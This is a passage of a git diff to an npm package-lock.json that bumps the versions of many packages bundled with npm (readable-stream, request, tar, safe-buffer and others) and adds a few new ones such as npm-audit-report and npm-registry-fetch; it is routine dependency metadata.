"4.0.0", + "cliui": "4.1.0", "decamelize": "1.2.0", "find-up": "2.1.0", "get-caller-file": "1.0.2", @@ -6989,7 +7017,7 @@ }, "dependencies": { "cliui": { - "version": "4.0.0", + "version": "4.1.0", "bundled": true, "requires": { "string-width": "2.1.1", @@ -7129,7 +7157,7 @@ "version": "5.1.0", "bundled": true, "requires": { - "lru-cache": "4.1.1", + "lru-cache": "4.1.2", "shebang-command": "1.2.0", "which": "1.3.0" }, @@ -7263,9 +7291,26 @@ } } }, + "lock-verify": { + "version": "2.0.2", + "bundled": true, + "requires": { + "npm-package-arg": "6.1.0", + "semver": "5.5.0" + } + }, "lockfile": { - "version": "1.0.3", - "bundled": true + "version": "1.0.4", + "bundled": true, + "requires": { + "signal-exit": "3.0.2" + }, + "dependencies": { + "signal-exit": { + "version": "3.0.2", + "bundled": true + } + } }, "lodash._baseindexof": { "version": "3.1.0", @@ -7329,7 +7374,7 @@ "bundled": true }, "lru-cache": { - "version": "4.1.1", + "version": "4.1.2", "bundled": true, "requires": { "pseudomap": "1.0.2", @@ -7371,7 +7416,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "typedarray": "0.0.6" }, "dependencies": { @@ -7387,7 +7432,7 @@ "requires": { "end-of-stream": "1.4.1", "inherits": "2.0.3", - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "stream-shift": "1.0.0" }, "dependencies": { @@ -7409,7 +7454,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" } }, "from2": { @@ -7417,7 +7462,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" } }, "parallel-transform": { @@ -7426,7 +7471,7 @@ "requires": { "cyclist": "0.2.2", "inherits": "2.0.3", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" }, "dependencies": { "cyclist": { @@ -7480,7 +7525,7 @@ "version": "2.0.3", "bundled": true, "requires": { - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "xtend": "4.0.1" }, "dependencies": { @@ -7538,6 +7583,93 @@ } } }, + "node-gyp": { + "version": "3.6.2", + "bundled": true, + "requires": { + "fstream": "1.0.11", + "glob": "7.1.2", + "graceful-fs": "4.1.11", + "minimatch": "3.0.4", + "mkdirp": "0.5.1", + "nopt": "3.0.6", + "npmlog": "4.1.2", + "osenv": "0.1.5", + "request": "2.85.0", + "rimraf": "2.6.2", + "semver": "5.3.0", + "tar": "2.2.1", + "which": "1.3.0" + }, + "dependencies": { + "fstream": { + "version": "1.0.11", + "bundled": true, + "requires": { + "graceful-fs": "4.1.11", + "inherits": "2.0.3", + "mkdirp": "0.5.1", + "rimraf": "2.6.2" + } + }, + "minimatch": { + "version": "3.0.4", + "bundled": true, + "requires": { + "brace-expansion": "1.1.11" + }, + "dependencies": { + "brace-expansion": { + "version": "1.1.11", + "bundled": true, + "requires": { + "balanced-match": "1.0.0", + "concat-map": "0.0.1" + }, + "dependencies": { + "balanced-match": { + "version": "1.0.0", + "bundled": true + }, + "concat-map": { + "version": "0.0.1", + "bundled": true + } + } + } + } + }, + "nopt": { + "version": "3.0.6", + "bundled": true, + "requires": { + "abbrev": "1.1.1" + } + }, + "semver": { + "version": "5.3.0", + "bundled": true + }, + "tar": { + "version": "2.2.1", + "bundled": true, + "requires": { + "block-stream": "0.0.9", + "fstream": "1.0.11", + "inherits": "2.0.3" + }, + "dependencies": { + "block-stream": { + "version": "0.0.9", + "bundled": true, + "requires": { + "inherits": "2.0.3" + } + } + } + } + } + }, "nopt": { "version": "4.0.1", "bundled": true, @@ -7553,7 +7685,7 @@ "hosted-git-info": "2.6.0", "is-builtin-module": "1.0.0", "semver": "5.5.0", - "validate-npm-package-license": "3.0.1" + "validate-npm-package-license": "3.0.3" }, "dependencies": { "is-builtin-module": { @@ -7571,6 +7703,20 @@ } } }, + "npm-audit-report": { + "version": "1.0.9", + "bundled": true, + "requires": { + "cli-table2": "0.2.0", + "console-control-strings": "1.1.0" + }, + "dependencies": { + "console-control-strings": { + "version": "1.1.0", + "bundled": true + } + } + }, "npm-cache-filename": { "version": "1.0.2", "bundled": true @@ -7600,93 +7746,6 @@ "version": "5.0.0", "bundled": true }, - "node-gyp": { - "version": "3.6.2", - "bundled": true, - "requires": { - "fstream": "1.0.11", - "glob": "7.1.2", - "graceful-fs": "4.1.11", - "minimatch": "3.0.4", - "mkdirp": "0.5.1", - "nopt": "3.0.6", - "npmlog": "4.1.2", - "osenv": "0.1.5", - "request": "2.83.0", - "rimraf": "2.6.2", - "semver": "5.3.0", - "tar": "2.2.1", - "which": "1.3.0" - }, - "dependencies": { - "fstream": { - "version": "1.0.11", - "bundled": true, - "requires": { - "graceful-fs": "4.1.11", - "inherits": "2.0.3", - "mkdirp": "0.5.1", - "rimraf": "2.6.2" - } - }, - "minimatch": { - "version": "3.0.4", - "bundled": true, - "requires": { - "brace-expansion": "1.1.11" - }, - "dependencies": { - "brace-expansion": { - "version": "1.1.11", - "bundled": true, - "requires": { - "balanced-match": "1.0.0", - "concat-map": "0.0.1" - }, - "dependencies": { - "balanced-match": { - "version": "1.0.0", - "bundled": true - }, - "concat-map": { - "version": "0.0.1", - "bundled": true - } - } - } - } - }, - "nopt": { - "version": "3.0.6", - "bundled": true, - "requires": { - "abbrev": "1.1.1" - } - }, - "semver": { - "version": "5.3.0", - "bundled": true - }, - "tar": { - "version": "2.2.1", - "bundled": true, - "requires": { - "block-stream": "0.0.9", - "fstream": "1.0.11", - "inherits": "2.0.3" - }, - "dependencies": { - "block-stream": { - "version": "0.0.9", - "bundled": true, - "requires": { - "inherits": "2.0.3" - } - } - } - } - } - }, "resolve-from": { "version": "4.0.0", "bundled": true @@ -7694,7 +7753,7 @@ } }, "npm-package-arg": { - "version": "6.0.0", + "version": "6.1.0", "bundled": true, "requires": { "hosted-git-info": "2.6.0", @@ -7770,12 +7829,12 @@ "http-cache-semantics": "3.8.1", "http-proxy-agent": "2.0.0", "https-proxy-agent": "2.1.1", - "lru-cache": "4.1.1", + "lru-cache": "4.1.2", "mississippi": "1.3.1", "node-fetch-npm": "2.0.2", "promise-retry": "1.1.1", "socks-proxy-agent": "3.0.1", - "ssri": "5.2.4" + "ssri": "5.3.0" }, "dependencies": { "agentkeepalive": { @@ -7915,7 +7974,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "typedarray": "0.0.6" }, "dependencies": { @@ -7931,7 +7990,7 @@ "requires": { "end-of-stream": "1.4.1", "inherits": "2.0.3", - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "stream-shift": "1.0.0" }, "dependencies": { @@ -7953,7 +8012,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" } }, "from2": { @@ -7961,7 +8020,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" } }, "parallel-transform": { @@ -7970,7 +8029,7 @@ "requires": { "cyclist": "0.2.2", "inherits": "2.0.3", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" }, "dependencies": { "cyclist": { @@ -8024,7 +8083,7 @@ "version": "2.0.3", "bundled": true, "requires": { - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "xtend": "4.0.1" }, "dependencies": { @@ -8042,7 +8101,7 @@ "requires": { "encoding": "0.1.12", "json-parse-better-errors": "1.0.1", - "safe-buffer": "5.1.1" + "safe-buffer": "5.1.2" }, "dependencies": { "encoding": { @@ -8075,6 +8134,10 @@ "err-code": { "version": "1.1.2", "bundled": true + }, + "retry": { + "version": "0.10.1", + "bundled": true } } }, @@ -8139,15 +8202,15 @@ "concat-stream": "1.6.1", "graceful-fs": "4.1.11", "normalize-package-data": "2.4.0", - "npm-package-arg": "6.0.0", + "npm-package-arg": "6.1.0", "npmlog": "4.1.2", "once": "1.4.0", - "request": "2.83.0", + "request": "2.85.0", "retry": "0.10.1", - "safe-buffer": "5.1.1", + "safe-buffer": "5.1.2", "semver": "5.5.0", "slide": "1.1.6", - "ssri": "5.2.4" + "ssri": "5.3.0" }, "dependencies": { "concat-stream": { @@ -8155,7 +8218,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "typedarray": "0.0.6" }, "dependencies": { @@ -8164,6 +8227,264 @@ "bundled": true } } + }, + "retry": { + "version": "0.10.1", + "bundled": true + } + } + }, + "npm-registry-fetch": { + "version": "1.1.0", + "bundled": true, + "requires": { + "bluebird": "3.5.1", + "figgy-pudding": "2.0.1", + "lru-cache": "4.1.2", + "make-fetch-happen": "3.0.0", + "npm-package-arg": "6.1.0", + "safe-buffer": "5.1.2" + }, + "dependencies": { + "figgy-pudding": { + "version": "2.0.1", + "bundled": true + }, + "make-fetch-happen": { + "version": "3.0.0", + "bundled": true, + "requires": { + "agentkeepalive": "3.4.1", + "cacache": "10.0.4", + "http-cache-semantics": "3.8.1", + "http-proxy-agent": "2.1.0", + "https-proxy-agent": "2.2.1", + "lru-cache": "4.1.2", + "mississippi": "3.0.0", + "node-fetch-npm": "2.0.2", + "promise-retry": "1.1.1", + "socks-proxy-agent": "3.0.1", + "ssri": "5.3.0" + }, + "dependencies": { + "agentkeepalive": { + "version": "3.4.1", + "bundled": true, + "requires": { + "humanize-ms": "1.2.1" + }, + "dependencies": { + "humanize-ms": { + "version": "1.2.1", + "bundled": true, + "requires": { + "ms": "2.1.1" + }, + "dependencies": { + "ms": { + "version": "2.1.1", + "bundled": true + } + } + } + } + }, + "http-cache-semantics": { + "version": "3.8.1", + "bundled": true + }, + "http-proxy-agent": { + "version": "2.1.0", + "bundled": true, + "requires": { + "agent-base": "4.2.0", + "debug": "3.1.0" + }, + "dependencies": { + "agent-base": { + "version": "4.2.0", + "bundled": true, + "requires": { + "es6-promisify": "5.0.0" + }, + "dependencies": { + "es6-promisify": { + "version": "5.0.0", + "bundled": true, + "requires": { + "es6-promise": "4.2.4" + }, + "dependencies": { + "es6-promise": { + "version": "4.2.4", + "bundled": true + } + } + } + } + }, + "debug": { + "version": "3.1.0", + "bundled": true, + "requires": { + "ms": "2.0.0" + }, + "dependencies": { + "ms": { + "version": "2.0.0", + "bundled": true + } + } + } + } + }, + "https-proxy-agent": { + "version": "2.2.1", + "bundled": true, + "requires": { + "agent-base": "4.2.0", + "debug": "3.1.0" + }, + "dependencies": { + "agent-base": { + "version": "4.2.0", + "bundled": true, + "requires": { + "es6-promisify": "5.0.0" + }, + "dependencies": { + "es6-promisify": { + "version": "5.0.0", + "bundled": true, + "requires": { + "es6-promise": "4.2.4" + }, + "dependencies": { + "es6-promise": { + "version": "4.2.4", + "bundled": true + } + } + } + } + }, + "debug": { + "version": "3.1.0", + "bundled": true, + "requires": { + "ms": "2.0.0" + }, + "dependencies": { + "ms": { + "version": "2.0.0", + "bundled": true + } + } + } + } + }, + "node-fetch-npm": { + "version": "2.0.2", + "bundled": true, + "requires": { + "encoding": "0.1.12", + "json-parse-better-errors": "1.0.2", + "safe-buffer": "5.1.2" + }, + "dependencies": { + "encoding": { + "version": "0.1.12", + "bundled": true, + "requires": { + "iconv-lite": "0.4.21" + }, + "dependencies": { + "iconv-lite": { + "version": "0.4.21", + "bundled": true, + "requires": { + "safer-buffer": "2.1.2" + }, + "dependencies": { + "safer-buffer": { + "version": "2.1.2", + "bundled": true + } + } + } + } + } + } + }, + "promise-retry": { + "version": "1.1.1", + "bundled": true, + "requires": { + "err-code": "1.1.2", + "retry": "0.10.1" + }, + "dependencies": { + "err-code": { + "version": "1.1.2", + "bundled": true + }, + "retry": { + "version": "0.10.1", + "bundled": true + } + } + }, + "socks-proxy-agent": { + "version": "3.0.1", + "bundled": true, + "requires": { + "agent-base": "4.2.0", + "socks": "1.1.10" + }, + "dependencies": { + "agent-base": { + "version": "4.2.0", + "bundled": true, + "requires": { + "es6-promisify": "5.0.0" + }, + "dependencies": { + "es6-promisify": { + "version": "5.0.0", + "bundled": true, + "requires": { + "es6-promise": "4.2.4" + }, + "dependencies": { + "es6-promise": { + "version": "4.2.4", + "bundled": true + } + } + } + } + }, + "socks": { + "version": "1.1.10", + "bundled": true, + "requires": { + "ip": "1.1.5", + "smart-buffer": "1.1.15" + }, + "dependencies": { + "ip": { + "version": "1.1.5", + "bundled": true + }, + "smart-buffer": { + "version": "1.1.15", + "bundled": true + } + } + } + } + } + } } } }, @@ -8186,7 +8507,7 @@ "bundled": true, "requires": { "delegates": "1.0.0", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" }, "dependencies": { "delegates": { @@ -8314,13 +8635,13 @@ "cacache": "10.0.4", "get-stream": "3.0.0", "glob": "7.1.2", - "lru-cache": "4.1.1", + "lru-cache": "4.1.2", "make-fetch-happen": "2.6.0", "minimatch": "3.0.4", "mississippi": "3.0.0", "mkdirp": "0.5.1", "normalize-package-data": "2.4.0", - "npm-package-arg": "6.0.0", + "npm-package-arg": "6.1.0", "npm-packlist": "1.1.10", "npm-pick-manifest": "2.1.0", "osenv": "0.1.5", @@ -8328,10 +8649,10 @@ "promise-retry": "1.1.1", "protoduck": "5.0.0", "rimraf": "2.6.2", - "safe-buffer": "5.1.1", + "safe-buffer": "5.1.2", "semver": "5.5.0", - "ssri": "5.2.4", - "tar": "4.4.0", + "ssri": "5.3.0", + "tar": "4.4.2", "unique-filename": "1.1.0", "which": "1.3.0" }, @@ -8349,12 +8670,12 @@ "http-cache-semantics": "3.8.1", "http-proxy-agent": "2.1.0", "https-proxy-agent": "2.2.0", - "lru-cache": "4.1.1", + "lru-cache": "4.1.2", "mississippi": "1.3.1", "node-fetch-npm": "2.0.2", "promise-retry": "1.1.1", "socks-proxy-agent": "3.0.1", - "ssri": "5.2.4" + "ssri": "5.3.0" }, "dependencies": { "agentkeepalive": { @@ -8494,7 +8815,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "typedarray": "0.0.6" }, "dependencies": { @@ -8510,7 +8831,7 @@ "requires": { "end-of-stream": "1.4.1", "inherits": "2.0.3", - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "stream-shift": "1.0.0" }, "dependencies": { @@ -8532,7 +8853,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" } }, "from2": { @@ -8540,7 +8861,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" } }, "parallel-transform": { @@ -8549,7 +8870,7 @@ "requires": { "cyclist": "0.2.2", "inherits": "2.0.3", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" }, "dependencies": { "cyclist": { @@ -8603,7 +8924,7 @@ "version": "2.0.3", "bundled": true, "requires": { - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "xtend": "4.0.1" }, "dependencies": { @@ -8621,7 +8942,7 @@ "requires": { "encoding": "0.1.12", "json-parse-better-errors": "1.0.1", - "safe-buffer": "5.1.1" + "safe-buffer": "5.1.2" }, "dependencies": { "encoding": { @@ -8726,7 +9047,7 @@ "version": "2.1.0", "bundled": true, "requires": { - "npm-package-arg": "6.0.0", + "npm-package-arg": "6.1.0", "semver": "5.5.0" } }, @@ -8741,6 +9062,10 @@ "err-code": { "version": "1.1.2", "bundled": true + }, + "retry": { + "version": "0.10.1", + "bundled": true } } }, @@ -8768,28 +9093,23 @@ "bundled": true }, "qrcode-terminal": { - "version": "0.11.0", + "version": "0.12.0", "bundled": true }, "query-string": { - "version": "5.1.0", + "version": "6.1.0", "bundled": true, "requires": { "decode-uri-component": "0.2.0", - "object-assign": "4.1.1", - "strict-uri-encode": "1.1.0" + "strict-uri-encode": "2.0.0" }, "dependencies": { "decode-uri-component": { "version": "0.2.0", "bundled": true }, - "object-assign": { - "version": "4.1.1", - "bundled": true - }, "strict-uri-encode": { - "version": "1.1.0", + "version": "2.0.0", "bundled": true } } @@ -8859,7 +9179,7 @@ } }, "read-package-tree": { - "version": "5.1.6", + "version": "5.2.1", "bundled": true, "requires": { "debuglog": "1.0.1", @@ -8870,15 +9190,15 @@ } }, "readable-stream": { - "version": "2.3.5", + "version": "2.3.6", "bundled": true, "requires": { "core-util-is": "1.0.2", "inherits": "2.0.3", "isarray": "1.0.0", "process-nextick-args": "2.0.0", - "safe-buffer": "5.1.1", - "string_decoder": "1.0.3", + "safe-buffer": "5.1.2", + "string_decoder": "1.1.1", "util-deprecate": "1.0.2" }, "dependencies": { @@ -8895,10 +9215,10 @@ "bundled": true }, "string_decoder": { - "version": "1.0.3", + "version": "1.1.1", "bundled": true, "requires": { - "safe-buffer": "5.1.1" + "safe-buffer": "5.1.2" } }, "util-deprecate": { @@ -8918,29 +9238,29 @@ } }, "request": { - "version": "2.83.0", + "version": "2.85.0", "bundled": true, "requires": { "aws-sign2": "0.7.0", "aws4": "1.6.0", "caseless": "0.12.0", - "combined-stream": "1.0.5", + "combined-stream": "1.0.6", "extend": "3.0.1", "forever-agent": "0.6.1", - "form-data": "2.3.1", + "form-data": "2.3.2", "har-validator": "5.0.3", "hawk": "6.0.2", "http-signature": "1.2.0", "is-typedarray": "1.0.0", "isstream": "0.1.2", "json-stringify-safe": "5.0.1", - "mime-types": "2.1.17", + "mime-types": "2.1.18", "oauth-sign": "0.8.2", "performance-now": "2.1.0", "qs": "6.5.1", - "safe-buffer": "5.1.1", + "safe-buffer": "5.1.2", "stringstream": "0.0.5", - "tough-cookie": "2.3.3", + "tough-cookie": "2.3.4", "tunnel-agent": "0.6.0", "uuid": "3.2.1" }, @@ -8958,7 +9278,7 @@ "bundled": true }, "combined-stream": { - "version": "1.0.5", + "version": "1.0.6", "bundled": true, "requires": { "delayed-stream": "1.0.0" @@ -8979,12 +9299,12 @@ "bundled": true }, "form-data": { - "version": "2.3.1", + "version": "2.3.2", "bundled": true, "requires": { "asynckit": "0.4.0", - "combined-stream": "1.0.5", - "mime-types": "2.1.17" + "combined-stream": "1.0.6", + "mime-types": "2.1.18" }, "dependencies": { "asynckit": { @@ -8997,18 +9317,18 @@ "version": "5.0.3", "bundled": true, "requires": { - "ajv": "5.2.3", + "ajv": "5.5.2", "har-schema": "2.0.0" }, "dependencies": { "ajv": { - "version": "5.2.3", + "version": "5.5.2", "bundled": true, "requires": { "co": "4.6.0", - "fast-deep-equal": "1.0.0", - "json-schema-traverse": "0.3.1", - "json-stable-stringify": "1.0.1" + "fast-deep-equal": "1.1.0", + "fast-json-stable-stringify": "2.0.0", + "json-schema-traverse": "0.3.1" }, "dependencies": { "co": { @@ -9016,25 +9336,16 @@ "bundled": true }, "fast-deep-equal": { - "version": "1.0.0", + "version": "1.1.0", + "bundled": true + }, + "fast-json-stable-stringify": { + "version": "2.0.0", "bundled": true }, "json-schema-traverse": { "version": "0.3.1", "bundled": true - }, - "json-stable-stringify": { - "version": "1.0.1", - "bundled": true, - "requires": { - "jsonify": "0.0.0" - }, - "dependencies": { - "jsonify": { - "version": "0.0.0", - "bundled": true - } - } } } }, @@ -9050,15 +9361,15 @@ "requires": { "boom": "4.3.1", "cryptiles": "3.1.2", - "hoek": "4.2.0", - "sntp": "2.0.2" + "hoek": "4.2.1", + "sntp": "2.1.0" }, "dependencies": { "boom": { "version": "4.3.1", "bundled": true, "requires": { - "hoek": "4.2.0" + "hoek": "4.2.1" } }, "cryptiles": { @@ -9072,20 +9383,20 @@ "version": "5.2.0", "bundled": true, "requires": { - "hoek": "4.2.0" + "hoek": "4.2.1" } } } }, "hoek": { - "version": "4.2.0", + "version": "4.2.1", "bundled": true }, "sntp": { - "version": "2.0.2", + "version": "2.1.0", "bundled": true, "requires": { - "hoek": "4.2.0" + "hoek": "4.2.1" } } } @@ -9096,7 +9407,7 @@ "requires": { "assert-plus": "1.0.0", "jsprim": "1.4.1", - "sshpk": "1.13.1" + "sshpk": "1.14.1" }, "dependencies": { "assert-plus": { @@ -9139,7 +9450,7 @@ } }, "sshpk": { - "version": "1.13.1", + "version": "1.14.1", "bundled": true, "requires": { "asn1": "0.2.3", @@ -9213,14 +9524,14 @@ "bundled": true }, "mime-types": { - "version": "2.1.17", + "version": "2.1.18", "bundled": true, "requires": { - "mime-db": "1.30.0" + "mime-db": "1.33.0" }, "dependencies": { "mime-db": { - "version": "1.30.0", + "version": "1.33.0", "bundled": true } } @@ -9242,7 +9553,7 @@ "bundled": true }, "tough-cookie": { - "version": "2.3.3", + "version": "2.3.4", "bundled": true, "requires": { "punycode": "1.4.1" @@ -9258,13 +9569,13 @@ "version": "0.6.0", "bundled": true, "requires": { - "safe-buffer": "5.1.1" + "safe-buffer": "5.1.2" } } } }, "retry": { - "version": "0.10.1", + "version": "0.12.0", "bundled": true }, "rimraf": { @@ -9275,7 +9586,7 @@ } }, "safe-buffer": { - "version": "5.1.1", + "version": "5.1.2", "bundled": true }, "semver": { @@ -9287,7 +9598,7 @@ "bundled": true, "requires": { "graceful-fs": "4.1.11", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" } }, "slide": { @@ -9344,7 +9655,7 @@ "version": "1.2.0", "bundled": true, "requires": { - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "stream-shift": "1.0.0" }, "dependencies": { @@ -9357,10 +9668,10 @@ } }, "ssri": { - "version": "5.2.4", + "version": "5.3.0", "bundled": true, "requires": { - "safe-buffer": "5.1.1" + "safe-buffer": "5.1.2" } }, "strip-ansi": { @@ -9377,14 +9688,15 @@ } }, "tar": { - "version": "4.4.0", + "version": "4.4.2", "bundled": true, "requires": { "chownr": "1.0.1", "fs-minipass": "1.2.5", - "minipass": "2.2.1", + "minipass": "2.2.4", "minizlib": "1.1.0", "mkdirp": "0.5.1", + "safe-buffer": "5.1.2", "yallist": "3.0.2" }, "dependencies": { @@ -9392,13 +9704,14 @@ "version": "1.2.5", "bundled": true, "requires": { - "minipass": "2.2.1" + "minipass": "2.2.4" } }, "minipass": { - "version": "2.2.1", + "version": "2.2.4", "bundled": true, "requires": { + "safe-buffer": "5.1.2", "yallist": "3.0.2" } }, @@ -9406,9 +9719,13 @@ "version": "1.1.0", "bundled": true, "requires": { - "minipass": "2.2.1" + "minipass": "2.2.4" } }, + "safe-buffer": { + "version": "5.1.2", + "bundled": true + }, "yallist": { "version": "3.0.2", "bundled": true @@ -9419,6 +9736,10 @@ "version": "0.2.0", "bundled": true }, + "tiny-relative-date": { + "version": "1.3.0", + "bundled": true + }, "uid-number": { "version": "0.0.6", "bundled": true @@ -9448,13 +9769,14 @@ "bundled": true }, "update-notifier": { - "version": "2.3.0", + "version": "2.5.0", "bundled": true, "requires": { - "boxen": "1.2.1", - "chalk": "2.1.0", - "configstore": "3.1.1", + "boxen": "1.3.0", + "chalk": "2.4.1", + "configstore": "3.1.2", "import-lazy": "2.1.0", + "is-ci": "1.1.0", "is-installed-globally": "0.1.0", "is-npm": "1.0.0", "latest-version": "3.1.0", @@ -9463,16 +9785,16 @@ }, "dependencies": { "boxen": { - "version": "1.2.1", + "version": "1.3.0", "bundled": true, "requires": { "ansi-align": "2.0.0", "camelcase": "4.1.0", - "chalk": "2.1.0", + "chalk": "2.4.1", "cli-boxes": "1.0.0", "string-width": "2.1.1", "term-size": "1.2.0", - "widest-line": "1.0.0" + "widest-line": "2.0.0" }, "dependencies": { "ansi-align": { @@ -9528,7 +9850,7 @@ "version": "5.1.0", "bundled": true, "requires": { - "lru-cache": "4.1.1", + "lru-cache": "4.1.2", "shebang-command": "1.2.0", "which": "1.3.0" }, @@ -9586,75 +9908,32 @@ } }, "widest-line": { - "version": "1.0.0", + "version": "2.0.0", "bundled": true, "requires": { - "string-width": "1.0.2" - }, - "dependencies": { - "string-width": { - "version": "1.0.2", - "bundled": true, - "requires": { - "code-point-at": "1.1.0", - "is-fullwidth-code-point": "1.0.0", - "strip-ansi": "3.0.1" - }, - "dependencies": { - "code-point-at": { - "version": "1.1.0", - "bundled": true - }, - "is-fullwidth-code-point": { - "version": "1.0.0", - "bundled": true, - "requires": { - "number-is-nan": "1.0.1" - }, - "dependencies": { - "number-is-nan": { - "version": "1.0.1", - "bundled": true - } - } - }, - "strip-ansi": { - "version": "3.0.1", - "bundled": true, - "requires": { - "ansi-regex": "2.1.1" - }, - "dependencies": { - "ansi-regex": { - "version": "2.1.1", - "bundled": true - } - } - } - } - } + "string-width": "2.1.1" } } } }, "chalk": { - "version": "2.1.0", + "version": "2.4.1", "bundled": true, "requires": { - "ansi-styles": "3.2.0", + "ansi-styles": "3.2.1", "escape-string-regexp": "1.0.5", - "supports-color": "4.4.0" + "supports-color": "5.4.0" }, "dependencies": { "ansi-styles": { - "version": "3.2.0", + "version": "3.2.1", "bundled": true, "requires": { - "color-convert": "1.9.0" + "color-convert": "1.9.1" }, "dependencies": { "color-convert": { - "version": "1.9.0", + "version": "1.9.1", "bundled": true, "requires": { "color-name": "1.1.3" @@ -9673,14 +9952,14 @@ "bundled": true }, "supports-color": { - "version": "4.4.0", + "version": "5.4.0", "bundled": true, "requires": { - "has-flag": "2.0.0" + "has-flag": "3.0.0" }, "dependencies": { "has-flag": { - "version": "2.0.0", + "version": "3.0.0", "bundled": true } } @@ -9688,12 +9967,12 @@ } }, "configstore": { - "version": "3.1.1", + "version": "3.1.2", "bundled": true, "requires": { "dot-prop": "4.2.0", "graceful-fs": "4.1.11", - "make-dir": "1.0.0", + "make-dir": "1.2.0", "unique-string": "1.0.0", "write-file-atomic": "2.3.0", "xdg-basedir": "3.0.0" @@ -9713,14 +9992,14 @@ } }, "make-dir": { - "version": "1.0.0", + "version": "1.2.0", "bundled": true, "requires": { - "pify": "2.3.0" + "pify": "3.0.0" }, "dependencies": { "pify": { - "version": "2.3.0", + "version": "3.0.0", "bundled": true } } @@ -9744,23 +10023,36 @@ "version": "2.1.0", "bundled": true }, + "is-ci": { + "version": "1.1.0", + "bundled": true, + "requires": { + "ci-info": "1.1.3" + }, + "dependencies": { + "ci-info": { + "version": "1.1.3", + "bundled": true + } + } + }, "is-installed-globally": { "version": "0.1.0", "bundled": true, "requires": { - "global-dirs": "0.1.0", - "is-path-inside": "1.0.0" + "global-dirs": "0.1.1", + "is-path-inside": "1.0.1" }, "dependencies": { "global-dirs": { - "version": "0.1.0", + "version": "0.1.1", "bundled": true, "requires": { "ini": "1.3.5" } }, "is-path-inside": { - "version": "1.0.0", + "version": "1.0.1", "bundled": true, "requires": { "path-is-inside": "1.0.2" @@ -9784,7 +10076,7 @@ "bundled": true, "requires": { "got": "6.7.1", - "registry-auth-token": "3.3.1", + "registry-auth-token": "3.3.2", "registry-url": "3.1.0", "semver": "5.5.0" }, @@ -9799,8 +10091,8 @@ "is-redirect": "1.0.0", "is-retry-allowed": "1.1.0", "is-stream": "1.1.0", - "lowercase-keys": "1.0.0", - "safe-buffer": "5.1.1", + "lowercase-keys": "1.0.1", + "safe-buffer": "5.1.2", "timed-out": "4.0.1", "unzip-response": "2.0.1", "url-parse-lax": "1.0.0" @@ -9840,7 +10132,7 @@ "bundled": true }, "lowercase-keys": { - "version": "1.0.0", + "version": "1.0.1", "bundled": true }, "timed-out": { @@ -9867,25 +10159,25 @@ } }, "registry-auth-token": { - "version": "3.3.1", + "version": "3.3.2", "bundled": true, "requires": { - "rc": "1.2.1", - "safe-buffer": "5.1.1" + "rc": "1.2.7", + "safe-buffer": "5.1.2" }, "dependencies": { "rc": { - "version": "1.2.1", + "version": "1.2.7", "bundled": true, "requires": { - "deep-extend": "0.4.2", + "deep-extend": "0.5.1", "ini": "1.3.5", "minimist": "1.2.0", "strip-json-comments": "2.0.1" }, "dependencies": { "deep-extend": { - "version": "0.4.2", + "version": "0.5.1", "bundled": true }, "minimist": { @@ -9904,21 +10196,21 @@ "version": "3.1.0", "bundled": true, "requires": { - "rc": "1.2.1" + "rc": "1.2.7" }, "dependencies": { "rc": { - "version": "1.2.1", + "version": "1.2.7", "bundled": true, "requires": { - "deep-extend": "0.4.2", + "deep-extend": "0.5.1", "ini": "1.3.5", "minimist": "1.2.0", "strip-json-comments": "2.0.1" }, "dependencies": { "deep-extend": { - "version": "0.4.2", + "version": "0.5.1", "bundled": true }, "minimist": { @@ -9955,29 +10247,44 @@ "bundled": true }, "validate-npm-package-license": { - "version": "3.0.1", + "version": "3.0.3", "bundled": true, "requires": { - "spdx-correct": "1.0.2", - "spdx-expression-parse": "1.0.4" + "spdx-correct": "3.0.0", + "spdx-expression-parse": "3.0.0" }, "dependencies": { "spdx-correct": { - "version": "1.0.2", + "version": "3.0.0", "bundled": true, "requires": { - "spdx-license-ids": "1.2.2" + "spdx-expression-parse": "3.0.0", + "spdx-license-ids": "3.0.0" }, "dependencies": { "spdx-license-ids": { - "version": "1.2.2", + "version": "3.0.0", "bundled": true } } }, "spdx-expression-parse": { - "version": "1.0.4", - "bundled": true + "version": "3.0.0", + "bundled": true, + "requires": { + "spdx-exceptions": "2.1.0", + "spdx-license-ids": "3.0.0" + }, + "dependencies": { + "spdx-exceptions": { + "version": "2.1.0", + "bundled": true + }, + "spdx-license-ids": { + "version": "3.0.0", + "bundled": true + } + } } } }, @@ -10008,11 +10315,10 @@ } }, "worker-farm": { - "version": "1.5.4", + "version": "1.6.0", "bundled": true, "requires": { - "errno": "0.1.7", - "xtend": "4.0.1" + "errno": "0.1.7" }, "dependencies": { "errno": { @@ -10027,10 +10333,6 @@ "bundled": true } } - }, - "xtend": { - "version": "4.0.1", - "bundled": true } } }, @@ -11441,8 +11743,8 @@ "requires": { "hoist-non-react-statics": "2.5.0", "invariant": "2.2.2", - "lodash": "4.17.5", - "lodash-es": 